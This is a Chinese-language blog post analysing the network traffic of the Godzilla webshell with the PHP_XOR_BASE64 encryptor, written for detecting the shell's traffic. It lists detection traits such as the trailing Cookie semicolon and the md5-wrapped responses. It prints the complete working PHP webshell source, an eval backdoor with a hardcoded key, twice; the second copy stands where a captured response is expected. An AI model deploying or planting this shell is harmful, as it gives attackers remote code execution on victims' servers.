哥斯拉流量分析(一)

PHPwenshell

PHP_XOR_BASE64加密shell分析

生成shell

个人目前用的最多的PHP_XOR_BASE64类型的加密shell,因为自己有这类型的免杀,本文所用的shell主要配置都是默认的,如下:

URL:ms.com/text.php

密码:pass

密钥:key

有效载荷:PhpDynamicPayload

加密器:PHP_XOR_BASE64

这里用小皮配置web环境,上传webshell,访问没问题

连接webshell

哥斯拉的Shell配置包括基本配置请求配置。其中基本配置主要设置shell地址、密码、密钥、加密器等信息,如下图所示:配置了一下burp代理,抓包看下

这里要注意密码密钥的不同:

密码:和蚁剑、菜刀一样,密码就是POST请求中的参数名称。例如,在本例中密码为pass,那么哥斯拉提交的每个请求都是pass=xxxxxxxx这种形式

密钥:用于对请求数据进行加密,不过加密过程中并非直接使用密钥明文,而是计算密钥的md5值,然后取其前16位用于加密过程

哥斯拉shell的请求配置主要用于自定义HTTP请求头,以及在最终的请求数据前后额外再追加一些扰乱数据,进一步降低流量的特征。本文在分析过程中,此处未做任何特殊设置。

shell服务器端代码

PHP_XOR_BASE64类型的加密shell的服务器端代码如下,其中定义了encode函数,用于加密或解密请求数据。由于是通过按位异或实现的加密,所以encode函数即可用于加密,同时也可用于解密。
整个shell的基本执行流程是:服务器接收到哥斯拉发送的第一个请求后,由于此时尚未建立session,所以将POST请求数据解密后(得到的内容为shell操作中所需要用到的相关php函数定义代码)存入session中,后续哥斯拉只会提交相关操作对应的函数名称(如获取目录中的文件列表对应的函数为getFile)和相关参数,这样哥斯拉的相关操作就不需要发送大量的请求数据。

shell流量加密过程分析

这里从Shell Setting对话框中的测试连接操作开始分析。在Shell Setting对话框中,设置代理为Burp,然后点击测试连接按钮,可以看到一共会产生3个POST数据包,POST请求报文中参数名都是pass(即shell的连接密码),参数值都是加密数据。

shell请求抓包分析

对webshell尝试进行连接

第1个请求

通过Burp抓包可知,第1个请求会发送大量数据,该请求不含有任何Cookie信息,服务器响应报文不含任何数据,但是会设置PHPSESSID,后续请求都会自动带上该Cookie,第一次请求的数据包通常要比后面两个数据包要大,而且第一个请求包的http响应体是空的:

第2个请求

可以看到,第二次请求的数据包会携带响应数据包设置的Cookie值,http响应体是一段相对固定长的串,长度为64个字节,可以分为前16字节,中间32字节,结尾16字节。具体内容下文流量分析会解密出来

第3个请求

第3个请求与第2个请求完全一致。返回包数据是最大的

特征总结:

哥斯拉在进行初始化时会产生一个较大的数据包(第一个),建立Session,第二三次请求确认连接,后续操作产生的数据包则相对较小。第三个包的返回数据是最大的

Cookie 中有一个非常关键的特征,最后会有个分号,标准的HTTP请求中最后一个Cookie的值是不应该出现;的,这个可以作为现阶段的一个辅助识别特征。

后续的发起请求的返回包和第二个第三个数据包结构一样,一个32位的md5字符串会被拆分为两部分,分别放在base64编码数据的前后

Accept 字段(弱特征)默认是:

1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

所有响应中

1
Cache-Control: no-store, no-cache, must-revalidate,

如果不修改默认密码则第一个包请求都含有”pass=”如pass=KX4nWAFVJ005aWdeUVo

Webshell流量分析

先看下webshell是怎样写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
// 开始会话
@session_start();
// 设置脚本的最大执行时间为无限制
@set_time_limit(0);
// 禁用错误报告
@error_reporting(0);

// 定义编码函数
function encode($data, $key) {
// 遍历数据的每一个字符
for ($i = 0; $i < strlen($data); $i++) {
// 获取密钥的字符,使用按位与操作来循环密钥
$c = $key[$i + 1 & 15];
// 将数据字符与密钥字符进行异或操作
$data[$i] = $data[$i] ^ $c;
}
return $data; // 返回编码后的数据
}

// 定义密码和会话变量名
$pass = 'pass';
$payloadName = 'payload';
// 定义密钥
$key = '3c6e0b8a9c15224a';

// 检查是否有 POST 请求中包含密码
if (isset($_POST[$pass])) {
// 解码并编码 POST 数据
$data = encode(base64_decode($_POST[$pass]), $key);

// 检查会话中是否存在有效的负载
if (isset($_SESSION[$payloadName])) {
// 解码并编码会话中的负载
$payload = encode($_SESSION[$payloadName], $key);

// 如果负载中不包含 "getBasicsInfo"
if (strpos($payload, "getBasicsInfo") === false) {
// 再次编码负载
$payload = encode($payload, $key);
}

// 执行负载代码
eval($payload);

// 输出密码和密钥的 MD5 哈希的前16位
echo substr(md5($pass . $key), 0, 16);
// 输出经过编码的运行结果的 Base64 编码
echo base64_encode(encode(@run($data), $key));
// 输出密码和密钥的 MD5 哈希的后16位
echo substr(md5($pass . $key), 16);
} else {
// 如果数据中包含 "getBasicsInfo"
if (strpos($data, "getBasicsInfo") !== false) {
// 将数据存入会话的负载变量中
$_SESSION[$payloadName] = encode($data, $key);
}
}
}
?>

$key = ‘3c6e0b8a9c15224a’;

这个字段就是加解密的密钥,就是这个密钥key的md5值得前16位

第二次和第三次返回包中的两段md5值是怎么来的呢?

其实就是密码pass和这16位md5值混合加密后分开得到的

然后看一下三次发包的干了什么,这里使用希潭实验室的蓝队分析研判工具来辅助解密,当我们发现主机被拿shell,我们可以定位到该shell,然后查看里边对应的pass和key值

此处我们自己本地生成马后,可根据设置的key值来进行密钥计算,其实就是key的md5值的前16位

第一次请求

指定号密码和密钥,选择好加密器,解密请求包

第二次请求

请求

请求连接通畅

返回

返回一个ok

第三次请求

请求

发送了getBasicsInfo字符串

返回

返回了结果

执行命令

执行ipconfig

请求包

返回包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
// 开始会话
@session_start();
// 设置脚本的最大执行时间为无限制
@set_time_limit(0);
// 禁用错误报告
@error_reporting(0);

// 定义编码函数
function encode($data, $key) {
// 遍历数据的每一个字符
for ($i = 0; $i < strlen($data); $i++) {
// 获取密钥的字符,使用按位与操作来循环密钥
$c = $key[$i + 1 & 15];
// 将数据字符与密钥字符进行异或操作
$data[$i] = $data[$i] ^ $c;
}
return $data; // 返回编码后的数据
}

// 定义密码和会话变量名
$pass = 'pass';
$payloadName = 'payload';
// 定义密钥
$key = '3c6e0b8a9c15224a';

// 检查是否有 POST 请求中包含密码
if (isset($_POST[$pass])) {
// 解码并编码 POST 数据
$data = encode(base64_decode($_POST[$pass]), $key);

// 检查会话中是否存在有效的负载
if (isset($_SESSION[$payloadName])) {
// 解码并编码会话中的负载
$payload = encode($_SESSION[$payloadName], $key);

// 如果负载中不包含 "getBasicsInfo"
if (strpos($payload, "getBasicsInfo") === false) {
// 再次编码负载
$payload = encode($payload, $key);
}

// 执行负载代码
eval($payload);

// 输出密码和密钥的 MD5 哈希的前16位
echo substr(md5($pass . $key), 0, 16);
// 输出经过编码的运行结果的 Base64 编码
echo base64_encode(encode(@run($data), $key));
// 输出密码和密钥的 MD5 哈希的后16位
echo substr(md5($pass . $key), 16);
} else {
// 如果数据中包含 "getBasicsInfo"
if (strpos($data, "getBasicsInfo") !== false) {
// 将数据存入会话的负载变量中
$_SESSION[$payloadName] = encode($data, $key);
}
}
}
?>